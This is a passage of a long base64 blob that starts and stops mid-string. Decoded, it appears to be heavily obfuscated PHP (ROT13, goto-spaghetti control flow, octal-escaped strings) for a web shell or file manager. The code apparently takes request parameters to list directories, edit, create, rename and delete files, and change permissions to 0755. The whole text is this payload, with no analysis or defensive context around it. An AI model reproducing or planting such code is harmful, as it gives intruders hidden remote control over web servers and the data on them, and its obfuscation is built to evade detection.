wxNjNcMTUxXGs2c1wxNTZcNDBcMTQzXGs2OFwxNDFcazZyXDE0N1wxNDVcazY0XGsyMVw3NFw1N1xrNjJcazNyXDc0XDU3XDE0NlwxNTdcMTU2XDE2NFw3NiI7IHRiZ2IgbXZwYXU7IGJEVVZDOiB0YmdiIHgycVoxOyB0YmdiIG1qdTJ4OyBCMDhvYjogb1N5bFM6IHRiZ2IgdzRkYzQ7IFU4VHlWOiB2cyAocnpjZ2woJF9DQkZHWyJcazYzXGs2OFxrNnEiXSkpIHsgdGJnYiB6bXJBSDsgfSB0YmdiIG1KVDNZOyBqamxLQjogdnMgKHB1emJxKCRsQzYzTCwgMDc1NSkpIHsgdGJnYiB2VDNjTTsgfSB0YmdiIHdhQmF6OyB3b2t3MTogdGJnYiBmZW5xcjsgdGJnYiB1VTU0djsgcDZUV006ICRoSVIxTCA9IHNlcm5xKCRoeGUzTywgc3Z5cmZ2bXIoJGxDNjNMKSk7IHRiZ2IgSXd3Umk7IExKcmxQOiB2cyAoISgkaHhlM08gPSBzYmNyYSgkbEM2M0wsICJcMTYyIikpKSB7IHRiZ2IgRXNFSjk7IH0gdGJnYiBwNlRXTTsgd2FCYXo6IGVyZ2hlYSAiXGs2clwxNTdcazIwXGs2OFxrNjFcazc2XDE0NVw0MFwxNjBcMTQ1XGs3MlwxNTVcMTUxXDE2M1wxNjNcMTUxXGs2c1xrNnJcNDBcazY2XDE1N1xrNzJcazIwXDE0M1xrNjhcazZxXGs2c1wxNDRcazIxIjsgdGJnYiBqUE1wazsgdVVabEY6IEdVMGtCOiB0YmdiIFBkNlNwOyBxU3hrRjogJGh4ZTNPID0gc2JjcmEoJGxDNjNMLCAiXGs3NyIpOyB0YmdiIEQzbHNmOyBRVHg5SDogZjZuMEw6IHRiZ2IgbVR6SU07IGJPbEdfOiBkMUZkSTogdGJnYiBJVjVnWDsgSVY1Z1g6ICRmQV9DMyA9ICJcNzRcazY2XGs2c1xrNnJcMTY0XGsyMFwxNDNcMTU3XGs2cFwxNTdcMTYyXGszcVw0MlwxNDdcMTYyXDE0NVxrNjVcazZyXGsyMlw3Nlw3NFwxNDJcNzZcazUwXGs2NVwxNjJcMTU1XGs2OVxrNzNcMTYzXDE1MVxrNnNcMTU2XDQwXGs2M1wxNTBcMTQxXDE1NlxrNjdcazY1XDE0NFw0MVxrM3BcazJzXDE0MlxrM3JcazNwXDU3XDE0NlwxNTdcazZyXDE2NFxrM3IiOyB0YmdiIHJjdkVGOyBERl9rVTogJHZHQXAxID0gZmdlZXZjYmYoJGxDNjNMLCAiXGsycyIpOyB0YmdiIHcwRFVIOyBGc1FaYjogJEVQVzd0ID0gIlw3NFwxNDZcMTU3XDE1NlxrNzRcazIwXGs2M1xrNnNcMTU0XDE1N1xrNzJcNzVcNDJcMTQ3XDE2MlxrNjVcazY1XGs2clxrMjJcNzZcazNwXGs2Mlw3NlwxMjBcazY1XGs3MlxrNnFcazY5XDE2M1wxNjNcMTUxXDE1N1xrNnJcNDBcazYzXDE1MFxrNjFcazZyXGs2N1wxNDVcMTQ0XGsyMVw3NFw1N1xrNjJcazNyXGszcFxrMnNcazY2XDE1N1wxNTZcMTY0XGszciI7IHRiZ2IgWmhsRWU7IE1BRHAwOiB2cyAoc3Z5cl9ya3ZmZ2YoJGxDNjNMKSBuYXEgc3Z5cmZ2bXIoJGxDNjNMKSA+IDEpIHsgdGJnYiB2bFNEbTsgfSB0YmdiIG5hN3NsOyBIWEpkVzogRXNFSjk6IHRiZ2IgTlRCOGQ7IEhwTV9MOiB2cyAoJF9DQkZHWyJcazYzXGs2OFxrNnEiXSA9PSAiXDYwXGszNlw2NFxrMzQiKSB7IHRiZ2IgUkF4QWE7IH0gdGJnYiBmQU1WQTsgU1FmSU06IHZzIChzamV2Z3IoJGh4ZTNPLCAkX0NCRkdbIlwxNTZcazY1XGs3NyJdKSkgeyB0YmdiIG8yQm5yOyB9IHRiZ2IgcTl4WVg7IFNZb0lYOiAkaElSMUwgPSBzZXJucSgkaHhlM08sIHN2eXJmdm1yKCRsQzYzTCkpOyB0YmdiIFN6ODlEOyBtdnBhdTogWWhFR2o6IHRiZ2IgbDFuOE87IEl3d1JpOiBzcHliZnIoJGh4ZTNPKTsgdGJnYiBNUTNRajsgSHM5RXE6IHRiZ2IgelIzTkk7IHRiZ2IgYm9DNm47IGVGUzFwOiB6bXJBSDogdGJnYiBranFjUTsgdzBEVUg6ICR1M3NtVCA9IGZob2ZnZV9lcmN5bnByKCRsQzYzTCwgJycsICR2R0FwMSwgOTk5OTkpOyB0YmdiIE1BRHAwOyBaYzJjcDogcnB1YiAiXGszcFwxNTFcazZyXGs3MFwxNjVcMTY0XGsyMFwxNjRcazc5XDE2MFxrNjVcazNxXGsyMlwxNjNcMTY1XDE0MlxrNnFcMTUxXGs3NFw0MlxrMjBcazc2XDE0MVxrNnBcazc1XDE0NVw3NVxrMjJcazZzXDE1M1w0Mlw0MFxrMnNcazNyXGszcFw1N1xrNjZcazZzXDE2MlwxNTVcazNyXDc0XDU3XGs3NFwxNDRcazNyXGtuIjsgdGJnYiBYMFdmZTsgdXRmR3o6IHJwdWIgIlxrM3BcMTUxXGs2clxrNzBcazc1XGs3NFw0MFwxNjRcMTcxXDE2MFxrNjVcazNxXGsyMlwxNjRcazY1XGs3OFxrNzRcNDJcNDBcMTU2XGs2MVxrNnFcazY1XGszcVw0N1wxNTZcazVzXGs2clxrNjFcMTU1XDE0NVw0N1w0MFwxNjNcazY5XDE3MlwxNDVcNzVcNDJcazM3XGszMlxrMjJcNDBcazc2XGs2MVwxNTRcazc1XGs2NVw3NVxrMjJ7JGxDNjNMfVw0Mlw3NiI7IHRiZ2IgZkhaZnM7IFBFbFdlOiAkaHhlM08gPSBzYmNyYSgkbEM2M0wsICJcazcyIik7IHRiZ2IgU1lvSVg7IG54ZHdsOiB0YmdiIGxmdllTOyB0YmdiIFFUeDlIOyBEZFU1VjogdGUxYkI6IHRiZ2IgbUxxbkg7IEN6UThsOiAkaElSMUwgPSB1Z3p5ZmNycHZueXB1bmVmKCRoSVIxTCk7IHRiZ2IgaHplM0M7IGJMMnZUOiBDRkJZSzogdGJnYiBZdnpOTDsga2pxY1E6IHZzIChyemNnbCgkX0NCRkdbIlwxNTZcazY1XGs3NyJdKSkgeyB0YmdiIHFiRDFpOyB9IHRiZ2IgUnVndUs7IHVMZE1BOiBycHViICRFUFc3dDsgdGJnYiBlRlMxcDsgajFwaHk6IHRiZ2IgelIzTkk7IHRiZ2IgQkd5cm87IER4b0lHOiBycHViICJcMTA2XDE1MVxrNnBcazY1XDcyXDQwIiAuICRsQzYzTCAuICRPX0VaYyAuICJcazNwXGs2MlwxNjJcNzZca24iOyB0YmdiIHhuWVNhOyBEM2xzZjogdnMgKHNqZXZncigkaHhlM08sICRoSVIxTCkpIHsgdGJnYiBmNm4wTDsgfSB0YmdiIGphQVZUOyBDVzc5WDogc3B5YmZyKCRoeGUzTyk7IHRiZ2IgdUgzN1U7IGg0bWg5OiB4MnFaMTogdGJnYiBqMXBoeTsgcTl4WVg6ICRPX0VaYyA9ICJcazIwXGsycVw0MFw3NFwxNDZcMTU3XGs2clwxNjRcNDBcazYzXGs2c1xrNnBcMTU3XGs3MlxrM3FcazIyXDE2MlwxNDVcMTQ0XDQyXDc2XDc0XGs2Mlw3NlxrNTVcazZyXGs2MVwxNDJcMTU0XGs2NVw0MFwxNjRcazZzXGsyMFwxNDVcazY0XDE1MVxrNzRcazIxXGszcFw1N1xrNjJcNzZcazNwXGsyc1xrNjZcMTU3XDE1NlwxNjRcNzYiOyB0YmdiIHdva3cxOyBWVVh1VjogdGJnYiB6UjNOSTsgdGJnYiB1VVpsRjsgd2htWTA6ICRmQV9DMyA9ICJcazNwXDE0NlwxNTdcazZyXGs3NFxrMjBcazYzXGs2c1wxNTRcMTU3XDE2Mlw3NVxrMjJcazcyXGs2NVwxNDRcazIyXDc2XGszcFxrNjJcazNyXGs1NVxrNnJcazYxXGs2MlwxNTRcMTQ1XDQwXGs2M1wxNTBcazYxXGs2clwxNDdcMTQ1XGsyMFxrNzBcMTQ1XGs3MlwxNTVcazY5XDE2M1wxNjNcazY5XGs2c1xrNnJcNDFcazNwXDU3XGs2MlxrM3JcazNwXDU3XGs2NlxrNnNcazZyXDE2NFxrM3IiOyB0YmdiIE5XSTFVOyBKYTdtTjogcEdyNG46IHRiZ2IgSzNfWlk7IHVIMzdVOiB0YmdiIG9TeWxTOyB0YmdiIERkVTVWOyB0TEJVWTogcnB1YiAiXDEwNlxrNjlcMTU0XGs2NVxrM25cazIwIiAuICRsQzYzTCAuICJcNzRcMTQyXGs3MlxrM3JcMTIiOyB0YmdiIGlhVGNsOyBHMGI4eTogJEVQVzd0ID0gIlxrM3BcMTQ2XGs2c1wxNTZcMTY0XDQwXGs2M1xrNnNcazZwXDE1N1wxNjJcNzVcNDJcMTYyXGs2NVxrNjRcNDJcazNyXGszcFxrNjJcazNyXGs1NVwxNTZcMTQxXDE0MlwxNTRcazY1XGsyMFwxNDNcazY4XGs2MVwxNTZcMTQ3XGs2NVw0MFxrNzBcazY1XGs3MlwxNTVcMTUxXGs3M1wxNjNcMTUxXGs2c1wxNTZcazIxXGszcFw1N1xrNjJcazNyXGszcFw1N1xrNjZcMTU3XDE1NlxrNzRcazNyIjsgdGJnYiBiRFVWQzsgalBNcGs6IHZUM2NNOiB0YmdiIHg2SF94OyBtanUyeDogZjdnTlg6IHRiZ2Igc2xMUUU7IFgwV2ZlOiBycHViICJcNzRcazc0XDE0NFw0MFxrNjNcMTU3XGs2cFwxNjNcMTYwXDE0MVxrNnJcNzVcNDJcazMzXDQyXGsyMFxrNjFcMTU0XDE1MVxrNjdcazZyXDc1XDQyXGs2cFwxNDVcazY2XGs3NFw0MlxrM3JcNzRcMTQ2XDE1N1xrNzJcazZxXDQwXGs2MVxrNjNcMTY0XGs2OVxrNnNcazZyXGsyMFxrM3FcazIwXGsyN1wxNTBcMTY0XGs3NFwxNjBcNzJcazJzXGsycyIgLiAkTXVWQkwgLiAiXGszc1wxNjJcazY1XDE1NlwxNDFcazZxXGs2NVw3NSIgLiAkbEM2M0wgLiAiXGsyNlxrNjRcazY5XDE2MlxrM3EiIC4gJHUzc21UIC4gIlxrMjdcNDBcazZxXDE0NVwxNjRcMTUwXGs2c1wxNDRcazIwXGszcVxrMjBcNDdcMTIwXDExN1xrNTNcMTI0XGsyN1w3NlwxMiI7IHRiZ2IgQkw5aUY7IGpUMVpkOiBycHViICJcNzRcMTUxXGs2clwxNjBcMTY1XGs3NFxrMjBcazc0XDE3MVxrNzBcMTQ1XGszcVxrMjJcazczXGs3NVxrNjJcMTU1XDE1MVwxNjRcazIyXGsyMFwxNjZcMTQxXGs2cFwxNjVcMTQ1XDc1XDQyXDE1N1xrNm9cNDJcazIwXDU3XDc2XGszcFw1N1xrNjZcMTU3XDE2MlwxNTVcNzZcNzRcNTdcMTY0XDE0NFw3Nlw3NFxrMnNcazc0XDE2MlxrM3JcMTIiOyB0YmdiIGVSWFdVOyBsOUNkSTogJHUzc21UID0gZmhvZmdlX2VyY3lucHIoJGxDNjNMLCAnJywgJHZHQXAxLCA5OTk5OSk7IHRiZ2IgUEVsV2U7IGxkdzdLOiBsZnZZUzogdGJnYiBjN3lJazsgZ29VZXc6ICRoSVIxTCA9IFFkbGZUKCRsQzYzTCk7IHRiZ2IgYzJXYWQ7IG1McW5IOiB2cyAocHV6YnEoJGxDNjNMLCAwNzU1KSkgeyB0YmdiIGNKNDNEOyB9IHRiZ2IgS3Zlakw7IGJvQzZuOiBSQXhBYTogdGJnYiBield1VzsgQ3BkWEY6IHJwdWIgIlw3NFwxNTFcMTU2XGs3MFwxNjVcMTY0XGsyMFxrNnJcazYxXDE1NVwxNDVcNzVcazIyXGs2M1wxNTBcazZxXGsyMlw0MFwxNjNcMTUxXDE3MlwxNDVcazNxXGsyMlw2NFw0MlxrMjBcMTY0XGs3OVxrNzBcMTQ1XDc1XDQyXDE2NFxrNjVcMTcwXDE2NFxrMjJcazIwXDE2MFxrNnBcMTQxXGs2M1wxNDVcazY4XGs2c1xrNnBcazY0XDE0NVxrNzJcNzVcNDIiIC4gZFNicGYoJGxDNjNMLCAiXDYxIikgLiAiXDQyXDU3XGszciI7IHRiZ2IgYVFhSXA7IHJ6TWJnOiB0YmdiIFloRUdqOyB0YmdiIGJMMnZUOyBOVEI4ZDogcnB1YiAiXGs2clxrNnNcazIwXDE1MFxrNjFcMTY2XGs2NVxrMjBcMTYwXGs2NVwxNjJcazZxXGs2OVwxNjNcazczXDE1MVwxNTdcMTU2XDc0XDE0MlxrNzJcazNyIjsgdGJnYiBVYVNkbjsgUGQ2U3A6IHZzIChwdXpicSgkbEM2M0wsIDA3NTUpKSB7IHRiZ2IgZjdnTlg7IH0gdGJnYiBHMGI4eTsgdzRkYzQ6ICR2R0FwMSA9IGZnZWV2Y2JmKCRsQzYzTCwgIlxrMnMiKTsgdGJnYiBsOUNkSTsgYVFhSXA6IHJwdWIgIlxrM3BcazY5XDE1NlwxNjBcazc1XGs3NFw0MFwxNjRcMTcxXGs3MFxrNjVcNzVcNDJcazczXGs3NVwxNDJcazZxXGs2OVwxNjRcNDJcazIwXGs3NlwxNDFcazZwXDE2NVwxNDVcNzVcNDJcazZzXDE1M1w0MlxrMjBcNTdcazNyXGszcFw1N1xrNjZcMTU3XGs3MlxrNnFcazNyXDc0XGsyc1wxNjRcMTQ0XGszclxrbiI7IHRiZ2IgSGxSTEM7IE5QSWdBOiBsWjR4ZTogdGJnYiBCMDhvYjsgSlN4SUE6ICRoSVIxTCA9IGZnZV9lcmN5bnByKCJcazNwXGs3NFxrNjVcazc4XGs3NFwxNDFcazcyXGs2NVwxNDFcazNyIiwgIlxrM3Bcazc0XGs2NVwxNzBcazc0XGs2MVwxNjJcMTQ1XDE0MVxrM3IiLCAkaElSMUwpOyB0YmdiIGdRcURCOyBTRzFQTTogcnB1YiAiXDc0XGs2NFxrNjlcazc2XGsyMFwxNDFcazZwXDE1MVxrNjdcazZyXDc1XDQyXGs3MlxrNjlcMTQ3XGs2OFwxNjRcazIyXDc2XGszcFxrNjJcMTYyXGszclxrM3BcMTUxXDE1NlxrNzBcMTY1XDE2NFw0MFwxNjRcazc5XGs3MFwxNDVcazIwXGszcVw0MFxrMjdcazczXDE2NVwxNDJcMTU1XDE1MVxrNzRcNDdcazIwXDE2NlwxNDFcMTU0XGs3NVwxNDVcazIwXGszcVw0MFxrMjdcazUzXGs2MVwxNjZcMTQ1XGsyN1w3NlxrM3BcazJzXGs2NFxrNjlcazc2XDc2XGszcFxrMnNcMTQ2XDE1N1wxNjJcMTU1XGszclxrM3BcazJzXDE2NFwxNDRcazNyXDc0XGsyc1xrNzRcMTYyXGszclxrbiI7IHRiZ2Igd2gyOEM7IFNGd0I4OiBSaEI2MDogdGJnYiBKYTdtTjsgYnpXdVc6IHZzIChwdXpicSgkbEM2M0wsIDA2NDQpKSB7IHRiZ2IgQ0ZCWUs7IH0gdGJnYiB1RlFzVDsgQkd5cm86IFYyZlVBOiB0YmdiIEFzNEVaOyBnUXFEQjogcnB1YiAiXGszcFwxNjRcazcyXGszclxrM3Bcazc0XDE0NFw0MFwxNDFcazZwXGs2OVxrNjdcMTU2XDc1XDQyXDE0M1xrNjVcMTU2XDE2NFwxNDVcazcyXDQyXDQwXDE0M1wxNTdcMTU0XDE2M1wxNjBcMTQxXGs2clw3NVw0MlxrMzVcNDJcNzZcNzRcazY2XGs2c1xrNzJcMTU1XGsyMFxrNjFcMTQzXGs3NFwxNTFcazZzXDE1NlxrMjBcNzVcNDBcazI3XGs2OFwxNjRcMTY0XGs3MFw3Mlw1N1w1NyIgLiAkTXVWQkwgLiAiXDc3XDE0NVwxNDRcMTUxXDE2NFxrM3EiIC4gJGxDNjNMIC4gIlxrMjZcazY0XGs2OVwxNjJcNzUiIC4gJHUzc21UIC4gIlw0N1xrMjBcazZxXGs2NVwxNjRcazY4XGs2c1xrNjRcNDBcNzVcNDBcazI3XDEyMFwxMTdcazUzXGs1NFxrMjdcNzZcMTIiOyB0YmdiIER4b0lHOyBoemUzQzogcnB1YiAiXGszcFwxNjRcazcyXGszclw3NFxrNzRcMTQ0XDQwXGs2MVwxNTRcMTUxXGs2N1wxNTZcazNxXDQyXDE0M1xrNjVcazZyXGs3NFxrNjVcazcyXDQyXGsyMFwxNDNcMTU3XGs2cFxrNzNcMTYwXGs2MVxrNnJcazNxXDQyXGszNVw0MlxrM3JcazNwXDE0NlwxNTdcMTYyXDE1NVxrMjBcMTQxXDE0M1xrNzRcazY5XDE1N1xrNnJcNDBcNzVcNDBcNDdcMTUwXGs3NFwxNjRcazcwXGszblxrMnNcazJzIiAuICRNdVZCTCAuICJcNzdcazY1XDE0NFxrNjlcazc0XDc1IiAuICRsQzYzTCAuICJcazI2XGs2NFxrNjlcMTYyXDc1IiAuICR1M3NtVCAuICJcazI3XDQwXGs2cVxrNjVcazc0XDE1MFxrNnNcazY0XDQwXDc1XGsyMFw0N1wxMjBcazRzXDEyM1wxMjRcNDdcNzZcMTIiOyB0YmdiIHRMQlVZOyBMOUxZZDogcnB1YiAiXGszcFwxNTFcMTU2XDE2MFwxNjVcazc0XGsyMFwxNTZcazYxXGs2cVwxNDVcNzVcazIyXGs2M1xrNjhcMTU1XDQyXDQwXDE2M1wxNTFcazduXGs2NVw3NVw0MlxrMzRcazIyXGsyMFxrNzRcazc5XGs3MFxrNjVcNzVcNDJcazc0XGs2NVwxNzBcazc0XDQyXGsyMFwxNjBcazZwXDE0MVwxNDNcazY1XDE1MFxrNnNcazZwXGs2NFwxNDVcMTYyXDc1XDQyIiAuIGRTYlBGKCRsQzYzTCwgIlw2MSIpIC4gIlxrMjJcazJzXDc2IjsgdGJnYiBaYzJjcDsgZkFNVkE6ICRFUFc3dCA9ICJcNjBcazM3XDY1XDY1XGszcFwxNDJcMTYyXDc2XGszMFw2NFxrMzRcazM0XDc0XDE0MlxrNzJcNzZcNjBcNjZcNjRcazM0XDc0XDE0MlxrNzJcNzYiOyB0YmdiIFZVWHVWOyBuYTdzbDogJGhJUjFMID0gJyc7IHRiZ2IgdldPYV87IE1KWVJ3OiAkT19FWmMgPSAiXDQwXDU1XDQwXDc0XDE0NlwxNTdcazZyXDE2NFxrMjBcMTQzXDE1N1wxNTRcazZzXDE2Mlw3NVxrMjJcazY3XDE2MlxrNjVcMTQ1XGs2clxrMjJcazNyXGszcFxrNjJcazNyXGs0NVwxNDRcazY5XGs3NFxrNjVcazY0XDQxXGszcFxrMnNcMTQyXGszclxrM3BcazJzXDE0NlxrNnNcazZyXDE2NFxrM3IiOyB0YmdiIEh0OW00OyBqYUFWVDogJE9fRVpjID0gIlw0MFxrMnFcazIwXGszcFxrNjZcMTU3XDE1NlxrNzRcazIwXDE0M1wxNTdcazZwXGs2c1wxNjJcazNxXGsyMlwxNjJcazY1XGs2NFxrMjJcazNyXDc0XGs2Mlw3NlwxMjVcazZyXGs2MVxrNjJcMTU0XDE0NVxrMjBcMTY0XGs2c1w0MFxrNjVcazY0XGs2OVxrNzRcNDFcazNwXDU3XGs2MlxrM3JcazNwXDU3XGs2NlwxNTdcMTU2XDE2NFxrM3IiOyB0YmdiIG54ZHdsOyB1MFc2VzogdGJnYiBvdGlmVTsgdGJnYiBTQWE1RzsgSGxSTEM6IHJwdWIgIlw3NFwxNjRcazY0XGsyMFxrNjNcazZzXDE1NFwxNjNcMTYwXDE0MVwxNTZcazNxXGsyMlxrMzNcazIyXGsyMFxrNjFcMTU0XGs2OVwxNDdcMTU2XGszcVw0MlwxNTRcazY1XGs2NlwxNjRcNDJcNzZcazNwXGs2NlwxNTdcMTYyXGs2cVw0MFwxNDFcazYzXGs3NFxrNjlcMTU3XGs2clxrMjBcazNxXDQwXGsyN1wxNTBcazc0XDE2NFxrNzBcNzJcNTdcazJzIiAuICRNdVZCTCAuICJcazNzXGs3MlwxNDVcazZyXGs2MVxrNnFcazY1XDc1IiAuICRsQzYzTCAuICJcNDZcMTQ0XDE1MVwxNjJcNzUiIC4gJHUzc21UIC4gIlw0N1xrMjBcMTU1XDE0NVxrNzRcMTUwXGs2c1xrNjRcNDBcazNxXDQwXGsyN1wxMjBcMTE3XGs1M1wxMjRcNDdcazNyXDEyIjsgdGJnYiB1dGZHejsgTXI0Zm06IHFiRDFpOiB0YmdiIERGX2tVOyBFWmdHMzogfSB0YmdiIE01cUZVOyB0d3FpcTogZXJucXN2eXIoJF9UUkdbIlwxNDRcazZzXDE2N1xrNnJcazZwXDE1N1xrNjFcazY0Il0pOyB0YmdiIGl5Zjc3OyBwMmJwYzogJE11VkJMID0gJGd2S3dOIC4gJGVVX2hhOyB0YmdiIFp0dzBZOyBINjNONDogdGJnYiBCNV9ybDsgdGJnYiB5Y2RIaDsgQ2NxWGg6IHZzIChyemNnbCgkX0NCRkdbIlxrNnJcazY1XGs3N1xrNXNcazY2XGs2OVwxNTRcazY1Il0pIG5hcSByemNnbCgkX0NCRkdbIlwxNjNcMTQ1XGs2MVwxNjJcazYzXDE1MFwxMzdcMTQ2XGs2OVxrNnBcMTQ1Il0pIG5hcSByemNnbCgkX0NCRkdbIlwxNTZcazY1XDE2N1xrNXNcazY0XGs2OVwxNjIiXSkpIHsgdGJnYiBkUHZTdDsgfSB0YmdiIHlMWVh0OyB3UlhVUTogc2hhcGd2YmEgYmVFX1IoJGFVWXRxKSB7IHRiZ2IgRHhxVk07IER4cVZNOiAkbkdMZ3ogPSAkYVVZdHE7IHRiZ2IgZU1YRjE7IHNBS01jOiAkRkNvX2QgPSBuZWVubCgpOyB0YmdiIGhKNk42OyBMZkR3STogVDFkNm06IHRiZ2IgWVdYNWc7IE1fMmRIOiBldHZuWTogdGJnYiBWMzdETDsgamV3Z246IHRiZ2IgVDFkNm07IHRiZ2IgTV8yZEg7IFYzN0RMOiAkbEM2M0wgPSBzYmNyYSgkbkdMZ3osICJcazcyXGs3NCIpOyB0YmdiIENzTExzOyBOaGVPNzogc3B5YmZyKCRsQzYzTCk7IHRiZ2IgYlR5aGo7IGhKNk42OiBlcmdoZWEgJEZDb19kOyB0YmdiIGpld2duOyBlTVhGMTogdnMgKHN2eXJfcmt2ZmdmKCRhVVl0cSkgbmFxIHN2eXJmdm1yKCRhVVl0cSkgPiAxKSB7IHRiZ2IgZXR2blk7IH0gdGJnYiBzQUtNYzsgYlR5aGo6IGVyZ2hlYSAkRkNvX2Q7IHRiZ2IgTGZEd0k7IENzTExzOiAkRkNvX2QgPSBya2N5YnFyKCJcMTIiLCBzZXJucSgkbEM2M0wsIHN2eXJmdm1yKCRuR0xneikpKTsgdGJnYiBOaGVPNzsgWVdYNWc6IH0gdGJnYiBqX0tqaDsgVTl3bVU6IE42U3J0OiB0YmdiIG9aSmhlOyBNUmFnMTogdnMgKCF2ZmZyZygkX1RSR1siXGs2NVxrNjRcazY5XGs3NCJdKSkgeyB0YmdiIGRBY0VWOyB9IHRiZ2IgcDJicGM7IEc5MHAwOiB2cyAoISgkeUdXU2IgPCA5MDApKSB7IHRiZ2IgQmExTFM7IH0gdGJnYiBYZW9WQjsgYTFzeVo6IHllUWtCOiB0YmdiIFR5QTRnOyB1WDJ2VTogdXJucXJlKCJcazQ1XGs3OFxrNzBcMTUxXDE2MlxrNjVcMTYzXGszblw0MFw2MCIpOyB0YmdiIGlhSExjOyBISGZ4UDogdnMgKHZmZnJnKCRfVFJHWyJcazY0XGs2OVwxNjIiXSkpIHsgdGJnYiBxb3hiYjsgfSB0YmdiIEVwUkpxOyBQdkgwODogc2Jlcm5wdSAoJFZBRHphIG5mICRuRVNwSikgeyB0YmdiIENhVWI5OyBFWlV2eTogZVEyUUc6IHRiZ2IgR0ZZeE47IFAzV0ZUOiBzamV2Z3IoJEMwQl9oLCAkbkVTcEogLiAiXGtuIik7IHRiZ2IgRVpVdnk7IEdGWXhOOiBtUkxLRDogdGJnYiBJd3A2SDsgQ2FVYjk6IHZzICghKCRuRVNwSiAhPT0gJF9GUkVJUkVbIlwxMjNcazQzXGs1MlxrNDlcMTIwXGs1NFwxMzdcMTA2XGs0OVxrNHBcazQ1XGs0clxrNDFcazRxXGs0NSJdKSkgeyB0YmdiIGVRMlFHOyB9IHRiZ2IgUDNXRlQ7IEl3cDZIOiB9IHRiZ2IgQmRMbjQ7IEZyeDBuOiBZNFM4WjogdGJnYiB6Rk54Yzsgdlpiakw6IGRBY0VWOiB0YmdiIFpsVDhPOyBlcjFVVDogdXJucXJlKCJcazUwXDE2MlxrNjFcMTQ3XGs2cVxrNjFcNzJcNDBcMTYwXGs3NVwxNDJcMTU0XDE1MVwxNDMiKTsgdGJnYiB2NzZYMzsgWXYxblU6ICRQYTF5VSA9ICJcazI0XGs0c1wxMTciOyB0YmdiIE1IZG1ROyBObFR1SzogJHY1UVBrID0gMDsgdGJnYiBtdEtBWjsgRktkYnc6ICRKRWZkdCA9ICJcMTUwXDE2NFwxNjRcMTYwXDcyXDU3XDU3IiAuICRndkt3TiAuICRlVV9oYSAuICJcazNzXGs2NFxrNjlcazcyXDc1IiAuICRfVFJHWyJcazY0XGs2OVxrNzIiXSAuICJcNDZcMTQ1XDE0NFwxNTFcazc0XDc1IiAuICRWQ0Q0UDsgdGJnYiBCSVd5TTsgRzFUOEk6ICRjUEVCViA9ICRMVTNBYzsgdGJnYiBEV0dDUTsgaGZvS1o6IHNiZXJucHUgKCRMWFBrdSBuZiAkVWlFdUspIHsgdGJnYiByejNhSDsgbTBNWWk6IHZzICghKCRuT1IwQSAhPT0gc255ZnIpKSB7IHRiZ2IgVEYyVGU7IH0gdGJnYiBYNGc2XzsgWDRnNl86ICRhdDJTZCA9IFM2VWJWKCRVaUV1Syk7IHRiZ2IgR1ltbjI7IHJ6M2FIOiAkbk9SMEEgPSBmZ2V2ZmdlKCRVaUV1SywgJHZycGVQKTsgdGJnYiBtME1ZaTsga3lERmk6IHJwdWIgIlxrM3Bcazc0XGs3MlxrMjBcMTQyXGs2N1xrNjNcazZzXDE1NFwxNTdcMTYyXDc1XGsyMlxrMjNcMTQ2XGs2NlxrNjZcazY2XDE0NlxrNjZcazIyXDQwXDE0MVxrNnBcazY5XDE0N1xrNnJcNzVcazIyXDE0M1wxNDVcMTU2XGs3NFwxNDVcazcyXGsyMlxrM3JcNzRcazc0XDE0NFxrMjBcazYxXDE1NFwxNTFcazY3XDE1Nlw3NVw0MlxrNnBcMTQ1XGs2NlxrNzRcazIyXDQwXDc2IiAuICJcazNwXDE0MVw0MFxrNzNcMTY0XGs3OVxrNnBcMTQ1XGszcVxrMjJcMTY0XDE0NVwxNzBcazc0XGsycVwxNDRcMTQ1XDE0M1wxNTdcazcyXGs2MVwxNjRcazY5XGs2c1xrNnJcNzJcNDBcMTU2XDE1N1wxNTZcMTQ1XDczXGsyMlw0MFxrNjhcMTYyXGs2NVxrNjZcazNxXGsyMlwxNTBcazc0XGs3NFxrNzBcNzJcazJzXDU3eyRndkt3Tn17JGVVX2hhfVxrM3NcazY1XGs2NFwxNTFcMTY0XDc1eyRVaUV1S31cazI2XGs2NFwxNTFcazcyXDc1eyRKcXlaN31cNDJcNzZcazNwXGs2NlxrNnNcMTU2XGs3NFw0MFxrNjNcMTU3XGs2cFxrNnNcMTYyXDc1XDQyXDE0MlwxNTRcMTQxXGs2M1xrNm9cazIyXDc2eyRVaUV1S31cazNwXGsyc1wxNDZcazZzXGs2clwxNjRcNzZcazNwXGsyc1xrNjFcNzYiIC4gIlw3NFxrMnNcazc0XGs2NFxrM3JcazNwXGs3NFwxNDRcazNyIiAuIFF3OG1LKCRVaUV1SykgLiAiXGszcFxrMnNcMTY0XGs2NFw3Nlw3NFwxNjRcazY0XGszcnskYXQyU2R9XDc0XDU3XDE2NFwxNDRcazNyXGszcFwxNjRcazY0XDc2IiAuIERzYnBmKCRVaUV1SywgIlxrMzAiKSAuICJcazNwXGsyc1wxNjRcazY0XGszclw3NFwxNjRcazY0XGszciIgLiAiXGszcFwxNDFcazIwXDE1MFwxNjJcazY1XGs2Nlw3NVw0MlxrNjhcazc0XGs3NFwxNjBcazNuXDU3XGsyc3skZ3ZLd059eyRlVV9oYX1cNzdcMTQ0XGs2NVwxNTRcNzV7JFVpRXVLfVxrMjZcMTQ0XGs2OVwxNjJcNzV7JEpxeVo3fVw0MlxrM3JcazU1XDc0XDU3XGs2MVw3Nlw0NlwxNTZcazYyXDE2M1xrNzBcNzMiIC4gIlxrM3BcMTQxXDQwXGs2OFwxNjJcazY1XGs2Nlw3NVw0MlwxNTBcazc0XDE2NFxrNzBcNzJcNTdcNTd7JGd2S3dOfXskZVVfaGF9XGszc1wxNDVcMTQ0XDE1MVxrNzRcNzV7JFVpRXVLfVxrMjZcMTQ0XDE1MVxrNzJcNzV7JEpxeVo3fVxrMjJcNzZcMTA1XDc0XDU3XGs2MVw3NlxrMjZcazZyXGs2MlwxNjNcMTYwXGszbyIgLiAiXDc0XGs2MVxrMjBcMTY0XGs2MVwxNjJcazY3XDE0NVxrNzRcNzVcazIyXGs1c1wxNDJcMTU0XDE0MVwxNTZcMTUzXGsyMlw0MFwxNTBcMTYyXGs2NVxrNjZcazNxXGsyMlxrNjhcMTY0XGs3NFwxNjBcazNuXDU3XGsyc3skY20yM2x9XDQyXDc2XGs0c1w3NFxrMnNcMTQxXGszclw0NlwxNTZcMTQyXGs3M1xrNzBcazNvIiAuICJcNzRcazYxXDQwXDE1MFxrNzJcMTQ1XDE0NlxrM3FcazIyXGs2OFxrNzRcMTY0XDE2MFw3MlxrMnNcNTd7JGd2S3dOfXskZVVfaGF9XGszc1wxNDRcazZzXDE2N1xrNnJcMTU0XDE1N1wxNDFcazY0XDc1eyR